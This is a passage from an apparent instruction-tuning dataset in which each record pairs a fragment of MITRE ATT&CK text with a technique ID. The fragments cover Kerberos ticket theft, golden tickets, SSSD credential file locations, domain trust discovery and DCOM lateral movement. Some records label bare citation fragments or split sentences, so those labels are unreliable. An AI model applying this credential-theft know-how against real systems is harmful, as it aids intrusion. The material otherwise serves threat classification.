provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: /domain</code> command can be used to create a domain account. ### Response: T1136.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.", "output": "T1136.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system. ### Response: T1136.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gather information about the victim's identity that can be used during targeting.", "output": "T1589", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gather information about the victim's identity that can be used during targeting. ### Response: T1589."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information about identities may include a variety of details, including personal data (ex: employee names, email addresses, etc.) as well as sensitive details such as credentials.", "output": "T1589", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information about identities may include a variety of details, including personal data (ex: employee names, email addresses, etc.) as well as sensitive details such as credentials. ### Response: T1589."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598).", "output": "T1589", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). ### Response: T1589."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information about users could also be enumerated via other active means (i.e. [Active Scanning](https://attack.mitre.org/techniques/T1595)) such as probing and analyzing responses from authentication services that may reveal valid usernames in a system.(Citation: GrimBlog UsernameEnum) Information about victims may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: OPM Leak)(Citation: Register Deloitte)(Citation: Register Uber)(Citation: Detectify Slack Tokens)(Citation:", "output": "T1589", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information about users could also be enumerated via other active means (i.e. [Active Scanning](https://attack.mitre.org/techniques/T1595)) such as probing and analyzing responses from authentication services that may reveal valid usernames in a system.(Citation: GrimBlog UsernameEnum) Information about victims may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: OPM Leak)(Citation: Register Deloitte)(Citation: Register Uber)(Citation: Detectify Slack Tokens)(Citation: ### Response: T1589."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Forbes GitHub Creds)(Citation:", "output": "T1589", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Forbes GitHub Creds)(Citation: ### Response: T1589."}{"instruction": "List the MITRE techniques contained in the text.", "input": "GitHub truffleHog)(Citation: GitHub Gitrob)(Citation: CNET Leaks)", "output": "T1589", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: GitHub truffleHog)(Citation: GitHub Gitrob)(Citation: CNET Leaks) ### Response: T1589."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or", "output": "T1589", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or ### Response: T1589."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).", "output": "T1589", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)). ### Response: T1589."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gather employee names that can be used during targeting.", "output": "T1589.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gather employee names that can be used during targeting. ### Response: T1589.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Employee names be used to derive email addresses as well as to help guide other reconnaissance efforts and/or craft more-believable lures.", "output": "T1589.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Employee names be used to derive email addresses as well as to help guide other reconnaissance efforts and/or craft more-believable lures. ### Response: T1589.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may easily gather employee names, since they may be readily available and exposed via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: OPM Leak)", "output": "T1589.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may easily gather employee names, since they may be readily available and exposed via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: OPM Leak) ### Response: T1589.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or", "output": "T1589.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or ### Response: T1589.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).", "output": "T1589.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)). ### Response: T1589.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to gather information on domain trust relationships that may be used to identify lateral movement opportunities in Windows multi-domain/forest environments.", "output": "T1482", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to gather information on domain trust relationships that may be used to identify lateral movement opportunities in Windows multi-domain/forest environments. ### Response: T1482."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Domain trusts provide a mechanism for a domain to allow access to resources based on the authentication procedures of another domain.(Citation: Microsoft Trusts)", "output": "T1482", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Domain trusts provide a mechanism for a domain to allow access to resources based on the authentication procedures of another domain.(Citation: Microsoft Trusts) ### Response: T1482."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Domain trusts allow the users of the trusted domain to access resources in the trusting domain.", "output": "T1482", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Domain trusts allow the users of the trusted domain to access resources in the trusting domain. ### Response: T1482."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The information discovered may help the adversary conduct [SID-History Injection](https://attack.mitre.org/techniques/T1134/005), [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003), and [Kerberoasting](https://attack.mitre.org/techniques/T1558/003).(Citation: AdSecurity Forging Trust Tickets)(Citation: Harmj0y Domain Trusts)", "output": "T1482", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The information discovered may help the adversary conduct [SID-History Injection](https://attack.mitre.org/techniques/T1134/005), [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003), and [Kerberoasting](https://attack.mitre.org/techniques/T1558/003).(Citation: AdSecurity Forging Trust Tickets)(Citation: Harmj0y Domain Trusts) ### Response: T1482."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Domain trusts can be enumerated using the `DSEnumerateDomainTrusts()` Win32 API call, .NET methods, and LDAP.(Citation: Harmj0y Domain Trusts) The Windows utility [Nltest](https://attack.mitre.org/software/S0359) is known to be used by adversaries to enumerate domain trusts.(Citation: Microsoft Operation Wilysupply)", "output": "T1482", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Domain trusts can be enumerated using the `DSEnumerateDomainTrusts()` Win32 API call, .NET methods, and LDAP.(Citation: Harmj0y Domain Trusts) The Windows utility [Nltest](https://attack.mitre.org/software/S0359) is known to be used by adversaries to enumerate domain trusts.(Citation: Microsoft Operation Wilysupply) ### Response: T1482."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to subvert Kerberos authentication by stealing or forging Kerberos tickets to enable [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003).", "output": "T1558", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to subvert Kerberos authentication by stealing or forging Kerberos tickets to enable [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003). ### Response: T1558."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Kerberos is an authentication protocol widely used in modern Windows domain environments.", "output": "T1558", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Kerberos is an authentication protocol widely used in modern Windows domain environments. ### Response: T1558."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In Kerberos environments, referred to as \u201crealms\u201d, there are three basic participants: client, service, and Key Distribution Center (KDC).(Citation: ADSecurity Kerberos Ring Decoder)", "output": "T1558", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In Kerberos environments, referred to as \u201crealms\u201d, there are three basic participants: client, service, and Key Distribution Center (KDC).(Citation: ADSecurity Kerberos Ring Decoder) ### Response: T1558."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Clients request access to a service and through the exchange of Kerberos tickets, originating from KDC, they are granted access after having successfully authenticated.", "output": "T1558", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Clients request access to a service and through the exchange of Kerberos tickets, originating from KDC, they are granted access after having successfully authenticated. ### Response: T1558."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The KDC is responsible for both authentication and ticket granting.", "output": "T1558", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The KDC is responsible for both authentication and ticket granting. ### Response: T1558."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to abuse Kerberos by stealing tickets or forging tickets to enable unauthorized access.", "output": "T1558", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to abuse Kerberos by stealing tickets or forging tickets to enable unauthorized access. ### Response: T1558."}{"instruction": "List the MITRE techniques contained in the text.", "input": "On Windows, the built-in <code>klist</code> utility can be used to list and analyze cached Kerberos tickets.(Citation: Microsoft Klist)\n\nLinux systems on Active Directory domains store Kerberos credentials locally in the credential cache file referred to as the \"ccache\".", "output": "T1558", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: On Windows, the built-in <code>klist</code> utility can be used to list and analyze cached Kerberos tickets.(Citation: Microsoft Klist)\n\nLinux systems on Active Directory domains store Kerberos credentials locally in the credential cache file referred to as the \"ccache\". ### Response: T1558."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The credentials are stored in the ccache file while they remain valid and generally while a user's session lasts.(Citation: MIT ccache)", "output": "T1558", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The credentials are stored in the ccache file while they remain valid and generally while a user's session lasts.(Citation: MIT ccache) ### Response: T1558."}{"instruction": "List the MITRE techniques contained in the text.", "input": "On modern Redhat Enterprise Linux systems, and derivative distributions, the System Security Services Daemon (SSSD) handles Kerberos tickets.", "output": "T1558", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: On modern Redhat Enterprise Linux systems, and derivative distributions, the System Security Services Daemon (SSSD) handles Kerberos tickets. ### Response: T1558."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By default SSSD maintains a copy of the ticket database that can be found in <code>/var/lib/sss/secrets/secrets.ldb</code> as well as the corresponding key located in <code>/var/lib/sss/secrets/.secrets.mkey</code>.", "output": "T1558", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By default SSSD maintains a copy of the ticket database that can be found in <code>/var/lib/sss/secrets/secrets.ldb</code> as well as the corresponding key located in <code>/var/lib/sss/secrets/.secrets.mkey</code>. ### Response: T1558."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Both files require root access to read.", "output": "T1558", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Both files require root access to read. ### Response: T1558."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If an adversary is able to access the database and key, the credential cache Kerberos blob can be extracted and converted into a usable Kerberos ccache file that adversaries may use for [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003).", "output": "T1558", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If an adversary is able to access the database and key, the credential cache Kerberos blob can be extracted and converted into a usable Kerberos ccache file that adversaries may use for [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003). ### Response: T1558."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The ccache file may also be converted into a Windows format using tools such as Kekeo.(Citation:", "output": "T1558", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The ccache file may also be converted into a Windows format using tools such as Kekeo.(Citation: ### Response: T1558."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Linux Kerberos Tickets)(Citation: Brining MimiKatz to Unix)(Citation: Kekeo)", "output": "T1558", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Linux Kerberos Tickets)(Citation: Brining MimiKatz to Unix)(Citation: Kekeo) ### Response: T1558."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Kerberos tickets on macOS are stored in a standard ccache format, similar to Linux.", "output": "T1558", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Kerberos tickets on macOS are stored in a standard ccache format, similar to Linux. ### Response: T1558."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By default, access to these ccache entries is federated through the KCM daemon process via the Mach RPC protocol, which uses the caller's environment to determine access.", "output": "T1558", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By default, access to these ccache entries is federated through the KCM daemon process via the Mach RPC protocol, which uses the caller's environment to determine access. ### Response: T1558."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The storage location for these ccache entries is influenced by the <code>/etc/krb5.conf</code> configuration file and the <code>KRB5CCNAME</code> environment variable which can specify to save them to disk or keep them protected via the KCM daemon.", "output": "T1558", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The storage location for these ccache entries is influenced by the <code>/etc/krb5.conf</code> configuration file and the <code>KRB5CCNAME</code> environment variable which can specify to save them to disk or keep them protected via the KCM daemon. ### Response: T1558."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Users can interact with ticket storage using <code>kinit</code>, <code>klist</code>, <code>ktutil</code>, and <code>kcc</code> built-in binaries or via Apple's native Kerberos framework.", "output": "T1558", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Users can interact with ticket storage using <code>kinit</code>, <code>klist</code>, <code>ktutil</code>, and <code>kcc</code> built-in binaries or via Apple's native Kerberos framework. ### Response: T1558."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can use open source tools to interact with the ccache files directly or to use the Kerberos framework to call lower-level APIs for extracting the user's TGT or Service Tickets.(Citation:", "output": "T1558", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can use open source tools to interact with the ccache files directly or to use the Kerberos framework to call lower-level APIs for extracting the user's TGT or Service Tickets.(Citation: ### Response: T1558."}{"instruction": "List the MITRE techniques contained in the text.", "input": "SpectorOps Bifrost Kerberos macOS 2019)(Citation: macOS kerberos framework MIT)", "output": "T1558", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: SpectorOps Bifrost Kerberos macOS 2019)(Citation: macOS kerberos framework MIT) ### Response: T1558."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries who have the KRBTGT account password hash may forge Kerberos ticket-granting tickets (TGT), also known as a golden ticket.(Citation: AdSecurity Kerberos GT Aug 2015)", "output": "T1558.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries who have the KRBTGT account password hash may forge Kerberos ticket-granting tickets (TGT), also known as a golden ticket.(Citation: AdSecurity Kerberos GT Aug 2015) ### Response: T1558.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Golden tickets enable adversaries to generate authentication material for any account in Active Directory.(Citation: CERT-EU Golden Ticket Protection) \n\nUsing a golden ticket, adversaries are then able to request ticket granting service (TGS) tickets, which enable access to specific resources.", "output": "T1558.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Golden tickets enable adversaries to generate authentication material for any account in Active Directory.(Citation: CERT-EU Golden Ticket Protection) \n\nUsing a golden ticket, adversaries are then able to request ticket granting service (TGS) tickets, which enable access to specific resources. ### Response: T1558.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Golden tickets require adversaries to interact with the Key Distribution Center (KDC) in order to obtain TGS.(Citation: ADSecurity Detecting Forged Tickets)", "output": "T1558.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Golden tickets require adversaries to interact with the Key Distribution Center (KDC) in order to obtain TGS.(Citation: ADSecurity Detecting Forged Tickets) ### Response: T1558.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The KDC service runs all on domain controllers that are part of an Active Directory domain.", "output": "T1558.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The KDC service runs all on domain controllers that are part of an Active Directory domain. ### Response: T1558.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "KRBTGT is the Kerberos Key Distribution Center (KDC) service account and is responsible for encrypting and signing all Kerberos tickets.(Citation: ADSecurity Kerberos and KRBTGT)", "output": "T1558.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: KRBTGT is the Kerberos Key Distribution Center (KDC) service account and is responsible for encrypting and signing all Kerberos tickets.(Citation: ADSecurity Kerberos and KRBTGT) ### Response: T1558.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The KRBTGT password hash may be obtained using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) and privileged access to a domain controller.", "output": "T1558.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The KRBTGT password hash may be obtained using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) and privileged access to a domain controller. ### Response: T1558.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "**This technique has been deprecated.", "output": "T1175", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: **This technique has been deprecated. ### Response: T1175."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Please use [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) and", "output": "T1175", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Please use [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) and ### Response: T1175."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Component Object Model](https://attack.mitre.org/techniques/T1559/001).", "output": "T1175", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Component Object Model](https://attack.mitre.org/techniques/T1559/001). ### Response: T1175."}{"instruction": "List the MITRE techniques contained in the text.", "input": "**\n\nAdversaries may use the Windows Component Object Model (COM) and Distributed Component Object Model (DCOM) for local code execution or to execute on remote systems as part of lateral movement.", "output": "T1175", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: **\n\nAdversaries may use the Windows Component Object Model (COM) and Distributed Component Object Model (DCOM) for local code execution or to execute on remote systems as part of lateral movement. ### Response: T1175."}{"instruction": "List the MITRE techniques contained in the text.", "input": "COM is a component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces.(Citation: Fireeye Hunting COM June 2019)", "output": "T1175", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: COM is a component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces.(Citation: Fireeye Hunting COM June 2019) ### Response: T1175."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Through COM, a client object can call methods of server objects, which are typically Dynamic Link Libraries (DLL) or executables (EXE).(Citation: Microsoft COM) DCOM is transparent middleware that extends the functionality of Component Object Model (COM) (Citation: Microsoft COM) beyond a local computer using remote procedure call (RPC) technology.(Citation: Fireeye Hunting COM June 2019)", "output": "T1175", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Through COM, a client object can call methods of server objects, which are typically Dynamic Link Libraries (DLL) or executables (EXE).(Citation: Microsoft COM) DCOM is transparent middleware that extends the functionality of Component Object Model (COM) (Citation: Microsoft COM) beyond a local computer using remote procedure call (RPC) technology.(Citation: Fireeye Hunting COM June 2019) ### Response: T1175."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Permissions to interact with local and remote server COM objects are specified by access control lists (ACL) in the Registry.", "output": "T1175", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Permissions to interact with local and remote server COM objects are specified by access control lists (ACL) in the Registry. ### Response: T1175."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Microsoft COM ACL)(Citation:", "output": "T1175", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Microsoft COM ACL)(Citation: ### Response: T1175."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft Process Wide Com Keys)(Citation: Microsoft System Wide Com Keys)", "output": "T1175", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft Process Wide Com Keys)(Citation: Microsoft System Wide Com Keys) ### Response: T1175."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By default, only Administrators may remotely activate and launch COM objects through DCOM.", "output": "T1175", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By default, only Administrators may remotely activate and launch COM objects through DCOM. ### Response: T1175."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse COM for local command and/or payload execution.", "output": "T1175", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse COM for local command and/or payload execution. ### Response: T1175."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Various COM interfaces are exposed that can be abused to invoke arbitrary execution via a variety of programming languages such as C, C++, Java, and VBScript.(Citation:", "output": "T1175", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Various COM interfaces are exposed that can be abused to invoke arbitrary execution via a variety of programming languages such as C, C++, Java, and VBScript.(Citation: ### Response: T1175."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft COM) Specific COM objects also exists to directly perform functions beyond code execution, such as creating a [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), fileless download/execution, and other adversary behaviors such as Privilege Escalation and Persistence.(Citation:", "output": "T1175", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft COM) Specific COM objects also exists to directly perform functions beyond code execution, such as creating a [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), fileless download/execution, and other adversary behaviors such as Privilege Escalation and Persistence.(Citation: ### Response: T1175."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Fireeye Hunting COM June 2019)(Citation:", "output": "T1175", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Fireeye Hunting COM June 2019)(Citation: ### Response: T1175."}{"instruction": "List the MITRE techniques contained in the text.", "input": "ProjectZero File Write EoP Apr 2018)", "output": "T1175", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: ProjectZero File Write EoP Apr 2018) ### Response: T1175."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use DCOM for lateral movement.", "output": "T1175", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use DCOM for lateral movement. ### Response: T1175."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Through DCOM, adversaries operating in the context of an appropriately privileged user can remotely obtain arbitrary and even direct shellcode execution through Office applications (Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) as well as other Windows objects that contain insecure methods.(Citation: Enigma MMC20 COM Jan 2017)(Citation:", "output": "T1175", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Through DCOM, adversaries operating in the context of an appropriately privileged user can remotely obtain arbitrary and even direct shellcode execution through Office applications (Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) as well as other Windows objects that contain insecure methods.(Citation: Enigma MMC20 COM Jan 2017)(Citation: ### Response: T1175."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Enigma DCOM Lateral Movement Jan 2017) DCOM can also execute macros in existing documents (Citation: Enigma Excel DCOM Sept 2017) and may also invoke [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1173) (DDE) execution directly through a COM created instance of a Microsoft Office application (Citation: Cyberreason DCOM DDE Lateral Movement Nov 2017), bypassing the need for a malicious document.", "output": 